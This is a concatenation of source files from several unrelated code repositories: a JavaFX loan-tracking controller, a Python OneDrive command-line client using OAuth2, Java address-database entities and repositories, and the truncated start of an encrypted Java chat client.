import com.panemu.tiwulfx.table.TextColumn; import javafx.fxml.FXML; import javafx.fxml.Initializable; import javafx.scene.control.Button; import javafx.scene.control.TableView; import org.itemtracker.common.objects.Loan; import java.net.URL; import java.util.List; import java.util.ResourceBundle; /** * controls MainPage fxml file * Created by james on 5/30/15. */ public class MainPageController implements Initializable { @FXML private Button btnLoanOut; @FXML private Button btnReturnLoan; @FXML private Button btnLoanableHistory; @FXML private Button btnNewLoanee; @FXML private Button btnNewLoanable; @FXML private Button btnLoaneeHistory; @FXML private TableView<Loan> tblViewActiveLoans; @Override public void initialize(URL location, ResourceBundle resources) { TextColumn<Loan> clmnLoanee = new TextColumn<>("loanee"); TextColumn<Loan> clmnLoanable = new TextColumn<>("loanedItem"); TextColumn<Loan> clmnCheckOut = new TextColumn<>("checkOut"); clmnLoanable.setResizable(false); clmnLoanee.setResizable(false); clmnCheckOut.setResizable(false); clmnLoanable.setText("Loaned Item"); clmnLoanee.setText("Loeaned To"); clmnCheckOut.setText("Checked Out"); clmnLoanable.setPrefWidth(150); clmnLoanee.setPrefWidth(150); clmnCheckOut.setPrefWidth(150); tblViewActiveLoans.getColumns().clear(); //just to be safe tblViewActiveLoans.getColumns().add(clmnLoanee); tblViewActiveLoans.getColumns().add(clmnLoanable); tblViewActiveLoans.getColumns().add(clmnCheckOut); List<Loan> loans = MainFrame.dbManager.getLoans(); tblViewActiveLoans.getItems().addAll(loans); } }
dbdb89cba785f82457751e1edf88d74f428d1f8c
[ "Java" ]
4
Java
rockking1379/ItemTracker
2caef623cb34c2716a15a7eee955d1b032b4432d
adf5f7f511a9d6e75e6474e1e7b427341cfac755
refs/heads/master
<file_sep># -*- coding: utf-8 -*- # Folder.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. class Folder(object): def __init__(self, childCount=0): self.childCount = childCount<file_sep>from .Drive import Drive from .Item import Item<file_sep>#!/usr/bin/env python3 # -*- coding: utf-8 -*- # 1drive.py -- cli frontend to onedrive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. import sys, os, logging from py1drive.common import arg_is_dir from py1drive.CLI import CLI """OneDrive Python client""" config = [] default_config_dir = os.path.expanduser('~/.py1drive') supported_actions = ['authorize', 'upload', 'download', 'list', 'info', 'mkdir', 'rm'] config_file = None key_store_dir = None def build_arg_parser(): import argparse parser = argparse.ArgumentParser(description=__doc__) parser.add_argument('-c', '--config', type=argparse.FileType('r'), help='Config file to load') parser.add_argument('-l', '--log-level', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'], help='Logging verbosity', default='WARNING') parser.add_argument('-k', '--key-store-dir', type=lambda x: arg_is_dir(parser, x), help='Location of the authorization key store dir') parser.add_argument('action', choices=supported_actions, help='Action to execute on path') parser.add_argument('local_path', type=str, nargs='?', help='Path to local file/folder') parser.add_argument('remote_path', type=str, help='Path to remote folder') return parser def exec_action(action, local_path, remote_path): from urllib.parse import urlparse url = urlparse(remote_path) if url.scheme == 'onedrive': from py1drive.OneDrive.OneDriveClient import OneDriveClient as API else: sys.exit("Unsupported scheme: %s" % url.scheme) if (url.scheme not in config): config[url.scheme] = dict() save_config() cli = CLI(API(config[url.scheme], key_store_dir=key_store_dir)) method = getattr(cli, 'cmd_' + action, None) if method: method(local_path=local_path, remote_path=url.path) else: sys.exit("Action '%s' is not supported" % action) def save_config(): open(config_file, 'w').write(yaml.dump(config)) if __name__ == '__main__': import yaml parser = build_arg_parser() args = parser.parse_args() logging.basicConfig(level=getattr(logging, args.log_level)) if (not os.path.exists(default_config_dir)): os.makedirs(default_config_dir) if (args.action == 'upload'): if (args.local_path is None): parser.error('"upload" action requires local_path') elif (not os.path.exists(args.local_path)): parser.error("invalid local_path %s, the location doesn't exist" % args.local_path) if (args.config is None): config_file = default_config_dir + '/py1drive' else: config_file = args.config.name if (args.key_store_dir is None): key_store_dir = default_config_dir else: key_store_dir = args.key_store_dir if (os.path.exists(config_file)): config = yaml.load(open(config_file, 'r')) else: config = dict() exec_action(args.action, args.local_path, args.remote_path) <file_sep># -*- coding: utf-8 -*- # Hashes.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. class Hashes(object): def __init__(self, **kwargs): if 'crc32Hash' in kwargs: self.crc32 = kwargs['crc32Hash'] if 'sha1Hash' in kwargs: self.sha1 = kwargs['sha1Hash']<file_sep># -*- coding: utf-8 -*- # OneDriveClient.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. import os, sys, json, yaml from pprint import pprint import py1drive.common as common from py1drive.OneDrive import resources from urllib.parse import quote class OneDriveClient(object): config = [] key_store = None session = dict() api_url = 'https://api.onedrive.com/v1.0' auth_base_url = 'https://login.live.com/oauth20_authorize.srf' auth_token_url = 'https://login.live.com/oauth20_token.srf' auth_scope = ['wl.offline_access', 'onedrive.readwrite'] client = None is_authorized = False def __init__(self, config, key_store_dir): from requests_oauthlib import OAuth2Session self.config = config self.key_store = key_store_dir + '/oauth2_session_onedrive' if (os.path.exists(self.key_store)): self.session = yaml.load(open(self.key_store, 'r')) if (self.session == None): self.session = dict() self.is_authorized = ('oauth2_token' in self.session) self.client = OAuth2Session(self.config['client_id'], scope=self.auth_scope, redirect_uri='', token=self.session['oauth2_token'], auto_refresh_kwargs={ 'client_id': self.config['client_id'], 'client_secret': self.config['client_secret'] }, auto_refresh_url=self.auth_token_url, token_updater=self._token_saver) def authorize(self, **kwargs): from urllib.parse import urlparse, parse_qs auth_url, state = self.client.authorization_url(self.auth_base_url) print("To allow access to your data, please open this URL in a web browser: %s" % auth_url) redirect_response = input('Paste the URL of the empty page: ') self.session['oauth2_state'] = state; token = self.client.fetch_token( self.auth_token_url, authorization_response=redirect_response, client_secret=self.config['client_secret']) self._token_saver(token) def get_drive_info(self): drive = resources.Drive(**self._get('/drive').json()) return drive def get_item(self, remote_path): r = resources.Item(**self._get("/drive/root:%s" % quote(remote_path)).json()) return r def get_item_children(self, remote_path=None, id=None, **kwargs): if remote_path: r = self._get("/drive/root:%s:/children" % quote(remote_path)).json() elif id: r = self._get("/drive/items/%s/children" % id).json() items = list() for value in r['value']: items.append(resources.Item(**value)) return items def get_item_content(self, id, **kwargs): r = self._get("/drive/items/%s/content" % id, stream=True) return r def create_dir(self, parent_path, dir_name): r = self._post("/drive/root:%s:/children" % quote(parent_path), data_json={"name": dir_name, "folder": {}}) return resources.Item(**r.json()) def _token_saver(self, token): self.session['oauth2_token'] = token; open(self.key_store, 'w').write(yaml.dump(self.session)) def _make_url(self, method): return "%s%s" % (self.api_url, method) def _get(self, method, stream=False): r = self.client.get(self._make_url(method), stream=stream) r.raise_for_status() return r def _post(self, method, data_json=None, stream=False): headers = None data = None if data_json: data = json.dumps(data_json) headers = {'Content-Type' : 'application/json'} r = self.client.post(self._make_url(method), data=data, stream=stream, headers=headers) r.raise_for_status() return r <file_sep># -*- coding: utf-8 -*- # Identity.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. class Identity(object): def __init__(self, id=None, displayName=None): self.id = id self.displayName = displayName <file_sep># -*- coding: utf-8 -*- # ItemReference.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. from urllib.parse import unquote class ItemReference(object): def __init__(self, id, driveId, path): self.id = id self.driveId = driveId self.path = unquote(path) <file_sep># -*- coding: utf-8 -*- # File.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. from ..types import Hashes class File(object): def __init__(self, **kwargs): self.mimeType = kwargs['mimeType'] self.hashes = Hashes(**kwargs['hashes'])<file_sep>from .Quota import Quota from .Folder import Folder from .File import File<file_sep># -*- coding: utf-8 -*- # CLI.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. import py1drive.common as common from py1drive.common import ProgressBar, absolute_to_relative import os, hashlib, sys class CLI(object): def __init__(self, api): self.API = api if not self.API.is_authorized: self.API.authorize() def cmd_info(self, **kwargs): drive = self.API.get_drive_info() print('Owner: ' + drive.owner.user.displayName) print('Used Space: ' + common.readable_size(drive.quota.used)) print('Free Space: ' + common.readable_size(drive.quota.remaining)) print('Total Space: ' + common.readable_size(drive.quota.total)) print('Recycle Bin Space: ' + common.readable_size(drive.quota.deleted)) print('State: ' + drive.quota.state) def cmd_list(self, remote_path, **kwargs): item_info = self.API.get_item(remote_path) items = list() if hasattr(item_info, 'folder'): item_children = self.API.get_item_children(id=item_info.id) items = item_children else: items.append(item_info) print("total %s" % len(items)) for item in items: print("%12s %s" % (common.readable_size(item.size), item.name)) def cmd_download(self, local_path, remote_path): item_info = self.API.get_item(remote_path) if local_path == None: local_path = os.getcwd() if not os.path.exists(local_path): os.mkdir(local_path) items = self.create_download_queue(item_info) print('Downloading to: ' + local_path) print('Downloading from: ' + remote_path) for item in items: relative_path = absolute_to_relative(local_path, remote_path, item.parentReference.path + '/' + item.name) if hasattr(item, 'file'): path, file = os.path.split(relative_path) print("Downloading %s to %s" % (file, path)) if not os.path.exists(path): os.makedirs(path) self.download_item(item, relative_path) def cmd_upload(self, local_path, remote_path): pass def create_download_queue(self, item_info): items = list() if hasattr(item_info, 'folder'): children = self.API.get_item_children(id=item_info.id) for item in children: items.extend(self.create_download_queue(item)) else: items.append(item_info) return items def download_item(self, item, destination_dir): if hasattr(item, 'folder'): os.mkdir(destination_dir) else: if hasattr(item.file.hashes, 'sha1'): item_hash = hashlib.sha1() item_remote_hash = item.file.hashes.sha1.lower() r = self.API.get_item_content(item.id) total_size = r.headers.get('content-length') bar = ProgressBar(0, total_size) bar.start() with open(destination_dir, 'wb') as out: for chunk in r.iter_content(chunk_size=10240): if chunk: bar.cur_val += len(chunk) out.write(chunk) item_hash.update(chunk) bar.display() out.flush() print('') if item_hash.hexdigest().lower() != item_remote_hash: raise Exception('Checksum mismatch!') def cmd_mkdir(self, remote_path, **kwargs): while remote_path.endswith('/'): remote_path = remote_path[:len(remote_path) - 1] parent_path, dir_name = os.path.split(remote_path) if not dir_name: sys.exit('Please provide a path e.g.: onedrive:///path/to/folder') else: self.API.create_dir(parent_path, dir_name) <file_sep># -*- coding: utf-8 -*- # Quota.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. class Quota(object): def __init__(self, total=0, used=0, remaining=0, deleted=0, state=None): self.total = total self.used = used self.remaining = remaining self.deleted = deleted self.state = state <file_sep>from .Identity import Identity from .IdentitySet import IdentitySet from .ItemReference import ItemReference from .Hashes import Hashes<file_sep># -*- coding: utf-8 -*- # Drive.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. from ..types import IdentitySet from ..facets import Quota class Drive(object): def __init__(self, id=None, driveType=None, owner=None, quota=None, **kwargs): self.id = id self.driveType = driveType self.owner = IdentitySet(**owner) self.quota = Quota(**quota) <file_sep># -*- coding: utf-8 -*- # common.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. import os, math, time, sys def readable_size(size): if size == 0: return '0 B ' size_units = ('B', 'KB', 'MB', 'GB', 'TB') unit = min(math.floor(math.log(size, 1024)), len(size_units) - 1) size_fmt = round(size / math.pow(1024, unit), 2) return "%s %s" % (size_fmt, size_units[unit]) def arg_is_dir(parser, path): if (os.path.isdir(path)): return path else: parser.error('%s is not a valid folder' % path) def absolute_to_relative(local, remote, path): return local + path[path.index(remote) + len(remote):] class ProgressBar(object): def __init__(self, min_val, max_val): self.min_val = int(min_val) if not max_val is None: self.max_val = int(max_val) self.cur_val = int(min_val) def start(self): self.start_time = time.clock() def display(self): speed = readable_size(self.cur_val//(time.clock() - self.start_time)) if self.max_val is None: sys.stdout.write("\r[%s] %s %s/s" % ('=' * 50, readable_size(self.cur_val), speed)) else: progress = 50 * self.cur_val / self.max_val int_progress = int(progress) sys.stdout.write("\r%3.1f%% [%s%s] %s of %s %s/s" % ((progress/50*100), '=' * int_progress, ' ' * (50 - int_progress), readable_size(self.cur_val), readable_size(self.max_val), speed)) <file_sep># -*- coding: utf-8 -*- # Item.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. from ..types import ItemReference, IdentitySet from ..facets import Folder, File from urllib.parse import unquote class Item(object): def __init__(self, **kwargs): self.id = kwargs['id'] self.name = unquote(kwargs['name']) if 'parentReference' in kwargs: self.parentReference = ItemReference(**kwargs['parentReference']) self.createdBy = IdentitySet(**kwargs['createdBy']) self.createdDateTime = kwargs['createdDateTime'] self.lastModifiedDateTime = kwargs['lastModifiedDateTime'] self.size = kwargs['size'] if 'children' in kwargs: self.children = list() for child in kwargs['children']: self.children.append(Item(**child)) if 'folder' in kwargs: self.folder = Folder(**kwargs['folder']) if 'file' in kwargs: self.file = File(**kwargs['file'])<file_sep># -*- coding: utf-8 -*- # IdentitySet.py -- part of py1drive # Copyright (C) 2015 <NAME> # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. from .Identity import Identity class IdentitySet(object): def __init__(self, **kwargs): if 'user' in kwargs: self.user = Identity(**kwargs['user']) if 'application' in kwargs: self.application = Identity(**kwargs['application']) if 'device' in kwargs: self.device = Identity(**kwargs['device'])
153360c0e239ba064ce6b8fb4d5e15cd37e57b5b
[ "Python" ]
16
Python
stanionascu/py1drive
9a1aec6cbb65d2eb6a49deafd8565ed7a90b8379
5128939aec7cac4aaf802794bfe838d492aa098f
refs/heads/master
<repo_name>linelect/uaapi<file_sep>/src/main/java/com/linelect/uaapi/model/House.java package com.linelect.uaapi.model; import javax.persistence.*; @Entity @Table(name = "house", indexes = {@Index(name = "house_number_idx", columnList = "house_number")}) public class House { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @Column(name = "house_number", nullable = false, length = 50) private String houseNumber; @Column(name = "post_index") private int postIndex; @ManyToOne private Street street; public House() { } public House(String houseNumber, int postIndex, Street street) { this.houseNumber = houseNumber; this.postIndex = postIndex; this.street = street; } public House(Long id, String houseNumbers, int postIndex, Street street) { this(houseNumbers, postIndex, street); this.id = id; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getHouseNumber() { return houseNumber; } public void setHouseNumber(String houseNumber) { this.houseNumber = houseNumber; } public Street getStreet() { return street; } public void setStreet(Street street) { this.street = street; } public int getPostIndex() { return postIndex; } public void setPostIndex(int postIndex) { this.postIndex = postIndex; } } <file_sep>/src/main/java/com/linelect/uaapi/repository/RegionRepository.java package com.linelect.uaapi.repository; import com.linelect.uaapi.model.Region; import org.springframework.data.jpa.repository.JpaRepository; import java.util.List; public interface RegionRepository extends JpaRepository<Region, Long> { List<Region> findByName(String name); } <file_sep>/src/main/java/com/linelect/uaapi/controller/SettlementController.java package com.linelect.uaapi.controller; import com.linelect.uaapi.model.Settlement; import com.linelect.uaapi.repository.SettlementRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.List; @RestController @RequestMapping("/settlement") public class SettlementController { private SettlementRepository settlementRepository; @Autowired public SettlementController(SettlementRepository settlementRepository) { this.settlementRepository = settlementRepository; } @GetMapping public List<Settlement> getAll() { return settlementRepository.findAll(); } @GetMapping("/{id}") public Settlement getById(Long id) { return settlementRepository.findById(id).get(); } } <file_sep>/src/main/java/com/linelect/uaapi/repository/SettlementRepository.java package com.linelect.uaapi.repository; import com.linelect.uaapi.model.Area; import com.linelect.uaapi.model.Settlement; import org.springframework.data.jpa.repository.JpaRepository; import java.util.List; public interface SettlementRepository extends JpaRepository<Settlement, Long> { List<Settlement> findByNameAndArea(String name, Area area); } <file_sep>/src/main/java/com/linelect/uaapi/model/Street.java package com.linelect.uaapi.model; import com.fasterxml.jackson.annotation.JsonIdentityInfo; import com.fasterxml.jackson.annotation.ObjectIdGenerators; import javax.persistence.*; @Entity @Table(name = "street", indexes = {@Index(name = "street_name_idx", columnList = "name")}) public class Street { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @ManyToOne @JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") private Settlement settlement; @Column(name = "name", nullable = false, length = 50) private String name; public Street() { } public Street(Long id) { this.id = id; } public Street(Settlement settlement, String name) { this.settlement = settlement; this.name = name; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Settlement getSettlement() { return settlement; } public void setSettlement(Settlement settlement) { this.settlement = settlement; } } <file_sep>/src/main/java/com/linelect/uaapi/repository/StreetRepository.java package com.linelect.uaapi.repository; import com.linelect.uaapi.model.Settlement; import com.linelect.uaapi.model.Street; import org.springframework.data.jpa.repository.JpaRepository; import java.util.List; public interface StreetRepository extends JpaRepository<Street, Long> { List<Street> findByNameAndSettlement(String name, Settlement settlement); }
ac70f014190cb57aab7797cc97408b7049659b37
[ "Java" ]
6
Java
linelect/uaapi
7874a7ea380c309de8bbf361b5ef64f9c118741c
955b87b4debc7e7044c1f4f2d378ab67c25a56f2
refs/heads/master
<repo_name>mohdirshad/FacebookPage<file_sep>/requirements.txt appdirs==1.4.0 Django==1.10.5 django-braces==1.10.0 django-oauth-toolkit==0.11.0 django-rest-framework-social-oauth2==1.0.5 djangorestframework==3.5.3 oauthlib==1.1.2 packaging==16.8 PyJWT==1.4.2 pyparsing==2.1.10 python-openid==2.2.5 requests==2.13.0 requests-oauthlib==0.7.0 six==1.10.0 social-auth-app-django==1.0.1 social-auth-core==1.0.1 gunicorn <file_sep>/accounts/rest_views.py class FacebookRegistration(APIView): """ Facebook user registration is done here """ serializer_class = FbRegisterSerializer permission_classes = (AllowAny,) model = User def get_serializer_class(self): return self.serializer_class def post(self, request): serializer = self.serializer_class(data=request.data,) if serializer.is_valid(): try: user = User.objects.get(facebook_id=request.data['facebook_id']) except: try: user = User.objects.get(email=serializer.validated_data.get('contact_no')) for k, v in serializer.validated_data.iteritems(): setattr(user,k,v) user.save() except: user = serializer.save() token, created = Token.objects.get_or_create(user=user) return Response({'token': token.key, 'image': user.image_url, 'name' : user.name, 'email': user.email, }, status=status.HTTP_201_CREATED) else: return Response({'error': serializer.errors}, status=status.HTTP_400_BAD_REQUEST) <file_sep>/accounts/models.py from __future__ import unicode_literals from django.utils.translation import ugettext_lazy as _ from django.contrib.gis.db import models from django.contrib.gis.geos import Point from django.conf import settings from django.contrib.auth.models import ( BaseUserManager, AbstractBaseUser, PermissionsMixin ) class UserManager(BaseUserManager): def create_user(self, email, password=None): """ Creates and saves a User with the given email, date of birth and password. """ if not email: raise ValueError('Users must have an email address') user = self.model( email=self.normalize_email(email), ) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, email, password): """ Creates and saves a superuser with the given email, date of birth and password. """ user = self.create_user( email, password=<PASSWORD>, ) user.is_admin = True user.save(using=self._db) return user class User(AbstractBaseUser): gen_choices = ( ('Male', 'm'), ('Female', 'f') ) email = models.EmailField( verbose_name='email address', max_length=255, unique=True, null=True, ) name = models.CharField(_("Name"),max_length=150,) dob = models.DateField(_("Date of Birth"),blank=True,null=True) is_active = models.BooleanField(_("Is Active"),default=True) is_admin = models.BooleanField(_("Is Admin"),default=False) facebook_id = models.CharField(_("Facebook Id"),max_length=100,blank=True,db_index=True) date_joined = models.DateTimeField(_("Date Joined"), auto_now_add=True) image_url = models.URLField(_("Image Url"),blank=True,null=True) gender = models.CharField(_("Gender"),choices=gen_choices,max_length=5,default="") language = models.CharField(max_length=10, default='en',choices=settings.LANGUAGES) objects = UserManager() USERNAME_FIELD = 'email' class Meta: verbose_name = _('user') verbose_name_plural = _('users') ordering = ('email',) def __unicode__(self): return unicode(self.name or self.contact_no,) def get_image_url(self): if self.image: return self.image.url return self.image_url def get_short_name(self): # The user is identified by their email address return self.email def has_perm(self, perm, obj=None): "Does the user have a specific permission?" return True def has_module_perms(self, app_label): "Does the user have permissions to view the app `app_label`?" # Simplest possible answer: Yes, always return True @property def is_staff(self): "Is the user a member of staff?" # Simplest possible answer: All admins are staff return self.is_admin <file_sep>/accounts/urls.py from django.conf.urls import url, include from django.contrib import admin import views urlpatterns = [ url(r'^',views.Home.as_view(),), url(r'update/^',views.UpdatePage.as_view(),), ] <file_sep>/accounts/serializers.py from rest_framework import serializers from .models import User class FbRegisterSerializer(serializers.ModelSerializer): email = serializers.EmailField(required=True) image_url = serializers.URLField(required=False) facebook_id = serializers.CharField(required=True) class Meta: model = User fields = ('name','email', 'image_url', 'facebook_id', ) <file_sep>/accounts/views.py from django.shortcuts import render from django.views import View from django.views.generic import TemplateView # Create your views here. class Home(TemplateView): template_name = "login.html" class UpdatePage(View): def post(self, request): data = request.data return render(request, 'updatepage.html',data)
c330d9eb957e808725d8c49b316b5d645ae9cb51
[ "Python", "Text" ]
6
Text
mohdirshad/FacebookPage
7219752364fa913363d5917710ce093da36e7ea8
d337cff3cdb2977df8525fdfda28f074e494c61b
refs/heads/master
<file_sep>/* Programa: brujeria.c Sinopsis: Ejemplo de uso de caracteres Fecha: Enero 2018 Autor: <NAME> Versión: 1.0 */ #include<stdio.h> int main() { char letra; //variable de letra //Un mensaje misterioso...¿lo adivinas? letra=65; printf("\nLetra: %c", letra); letra++; printf("\nLetra: %c", letra); letra+=16; printf("\nLetra: %c", letra); letra=65; printf("\nLetra: %c", letra); letra+=2; printf("\nLetra: %c", letra); letra=65; printf("\nLetra: %c", letra); letra+=3; printf("\nLetra: %c", letra); letra=65; printf("\nLetra: %c", letra); letra++; printf("\nLetra: %c", letra); letra+=16; printf("\nLetra: %c", letra); letra=65; printf("\nLetra: %c\n", letra); return 0; } <file_sep>/* Programa: tipos.c Sinopsis: Ejemplo de uso de tipos definidos por el usuario Fecha: Enero 2018 Autor: <NAME> Versión: 1.0 */ #include<stdio.h> //Un primer tipo definido por el usuario typedef unsigned NUM_HIJOS; //Un segundo tipo definido por el usuario typedef float EUR; //Más difícil todavía: tipo definido y enumerado typedef enum {CONECTADA, TEST, FUNCIONANDO, PARANDO, DETENIDA} ESTADO; int main() { //Declaración de variables: observar la forma de declarar ahora NUM_HIJOS mishijos=2; EUR salario=1200.0; ESTADO siemens=0; //Tipo definido NUM_HIJOS printf("\n Mis hijos: %u", mishijos); mishijos++; //Sorpresa de última hora printf("\n Mis hijos ahora: %u", mishijos); mishijos = -1; //Es posible? printf("\n Mis hijos al final: %u\n", mishijos); //Tipo definido EUR printf("\nMi salario: %6.2f", salario); salario*=1.001; printf("\nDespués de IPC: %6.2f\n", salario); //Tipo definido y enumerado ESTADO printf("\n Estado actual: %i", siemens); siemens++; printf("\n Cambio: %i", siemens); siemens+=6; printf("\n Estado final: %i\n", siemens); //Posible? return 0; } <file_sep>/* Triangulo, empleando %c para su representación Enero 2018 <NAME> */ #include<stdio.h> int main () { printf ("\nTriangulo\n"); printf ("\t%4c\n", '*'); printf ("\t%3c%2c\n", '*', '*'); printf ("\t%2c%4c\n", '*', '*'); printf ("\t*******\n"); return 0; } <file_sep>/* Programa: calendario.c Sinopsis: Ejemplo de definición de enumeraciones Fecha: Enero 2018 Autor: <NAME> Versión: 1.0 */ #include<stdio.h> #define MESES 12 //Número de meses que tiene el año //Declaración del tipo enumerado (enumeración) //enum Meses {ENERO, FEBRERO, MARZO, ABRIL, MAYO, JUNIO, JULIO, AGOSTO, SEPTIEMBRE, OCTUBRE, NOVIEMBRE, DICIEMBRE}; //Otra posible definición....¿es mejor? enum Meses {NULO, ENERO, FEBRERO, MARZO, ABRIL, MAYO, JUNIO, JULIO, AGOSTO, SEPTIEMBRE, OCTUBRE, NOVIEMBRE, DICIEMBRE}; int main () { enum Meses mimes; //Declaramos la variable de tipo enumerado Meses //Valor inicial mimes=ABRIL; printf ("\tMi mes: %i\n", mimes); //Avanzamos 3m mimes+=3; printf ("\tSalto de tres: %i\n", mimes); //JULIO //Avanzamos 6m mimes+=6; printf ("\tSalto de seis: %i\n", mimes); //¿? //Avanzamos "modularmente" 5m. ¿Por qué? mimes= (mimes + 5) % MESES; printf ("\tValor final: %i\n", mimes); //JUNIO!! return 0; } <file_sep>/* Programa: enumera.c Sinopsis: Ejemplo de definición de enumeraciones Fecha: Enero 2018 Autor: <NAME> Versión: 1.0 */ #include<stdio.h> /* Programa: enumera.c Sinopsis: Ejemplo de definición de enumeraciones Fecha: Enero 2018 Autor: <NAME> Versión: 1.0 */ #include<stdio.h> //Definición del tipo enumerado enum colores { NEGRO = 0, ROJO = 1, VERDE = 2, AZUL = 4 }; //Prototipo de una función extraña int pintadoDeVerde (enum colores micolor) ; int main () { enum colores colorPelo = NEGRO; printf ("\tColor inicial: %i\n", colorPelo); //Siguiente colorPelo++; printf ("\tNuevo color: %i\n", colorPelo); //Dos siguientes colorPelo+=2; printf ("\tNuevo color (cuidado): %i\n", colorPelo); //NO es un color //Avanzamos 5 colorPelo+=5; printf ("\tOtro color (cuidado): %i\n", colorPelo); //Función pintadoDeVerde printf("\nPintado de verde (1)?: %i\n", pintadoDeVerde(VERDE)); printf("\nPintado de verde (2)?: %i\n", pintadoDeVerde(NEGRO)); return 0; } //¿Puedes decir qué hace esta función? int pintadoDeVerde (enum colores micolor) { return micolor==VERDE; }
38722a31a85b108a12980b46b3f98836167a7a69
[ "C" ]
5
C
UBU-GII-PRG/Tema_4_Otros_datos_Simples
2f74e1438e3de75b2d31d128ed4a4696a3573eb1
c9db7545a553765f2c73f852665f444d26335d97
refs/heads/master
<file_sep>package client_code; import java.io.BufferedReader; import java.io.IOException; import java.io.PrintWriter; import java.util.concurrent.BlockingQueue; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.ShortBufferException; public class MessageParser extends Thread { BlockingQueue<InternalMessage> outQueue = null; private BouncyEncryption encryptor = null; private BufferedReader in = null; public MessageParser(BlockingQueue<InternalMessage> outQueue,BufferedReader in, BouncyEncryption encryptor) { this.encryptor = encryptor; this.outQueue = outQueue; this.in = in; } public void run() { while(true) { String mess = null; String messDecrypted = null; try {mess = in.readLine();} catch (IOException e1) {e1.printStackTrace();} try {messDecrypted = encryptor.Decrypt(mess.getBytes());} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException | IOException e1) {e1.printStackTrace();} String[] splitMess = messDecrypted.split("\u001e"); switch(splitMess[0]) { case"CHAT_STARTED": try {outQueue.put(new InternalMessage(splitMess[0],null,splitMess[1],splitMess[2], false));} catch (InterruptedException e) {e.printStackTrace();} break; case"UNREACHABLE": try {outQueue.put(new InternalMessage(splitMess[0], null,null,splitMess[1],false));} catch (InterruptedException e) {e.printStackTrace();} break; case"END_NOTIF": try {outQueue.put(new InternalMessage(splitMess[0],null,splitMess[1],null,false));} catch (InterruptedException e) {e.printStackTrace();} break; case"CHAT": try {outQueue.put(new InternalMessage(splitMess[0],splitMess[2],splitMess[1],null,false));} catch (InterruptedException e) {e.printStackTrace();} break; case"HISTORY_RESP": try {outQueue.put(new InternalMessage(splitMess[0],splitMess[2],null,splitMess[1],false));} catch (InterruptedException e) {e.printStackTrace();} break; } } } } <file_sep>package client_code; public class InternalMessage { String action = null; String data = null; boolean isInternal = true; String sessionID = null; String client = null; public InternalMessage(String action, String data, String sessionID, String client, boolean isInternal) { this.action = action; this.data = data; this.sessionID = sessionID; this.client = client; this.isInternal = isInternal; } public String getAction() { return action; } public void setAction(String action) { this.action = action; } public String getData() { return data; } public void setData(String data) { this.data = data; } public boolean isInternal() { return isInternal; } public void setInternal(boolean isInternal) { this.isInternal = isInternal; } public String getSessionID() { return sessionID; } public void setSessionID(String sessionID) { this.sessionID = sessionID; } public String getClient() { return client; } public void setClient(String client) { this.client = client; } } <file_sep>package client_code; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; /* * Copyright (C) 2011 www.itcsolutions.eu * * This file is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation; either version 2.1, or (at your * option) any later version. * * This file is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * */ /** * * @author Catalin - www.itcsolutions.eu * @version 2011 * */ import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.nio.charset.StandardCharsets; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.NoSuchProviderException; import java.security.spec.AlgorithmParameterSpec; import java.util.Arrays; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKey; import javax.crypto.ShortBufferException; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; /** * Implementation of AES * Bouncy Castle API installed as a JCA provider * CBC mode for encryption and decryption * @author <NAME> */ public class BouncyEncryption { // The default block size public static int blockSize = 16; Cipher encryptCipher = null; Cipher decryptCipher = null; // Buffer used to transport the bytes from one stream to another byte[] buf = new byte[blockSize]; //input buffer byte[] obuf = new byte[512]; //output buffer // The key byte[] key = null; // The initialization vector needed by the CBC mode byte[] IV = null; public BouncyEncryption(int rand, int SK) throws NoSuchAlgorithmException{ //for a 192 key you must install the unrestricted policy files // from the JCE/JDK downloads page //Hash the rand and SK using SHA-256 and 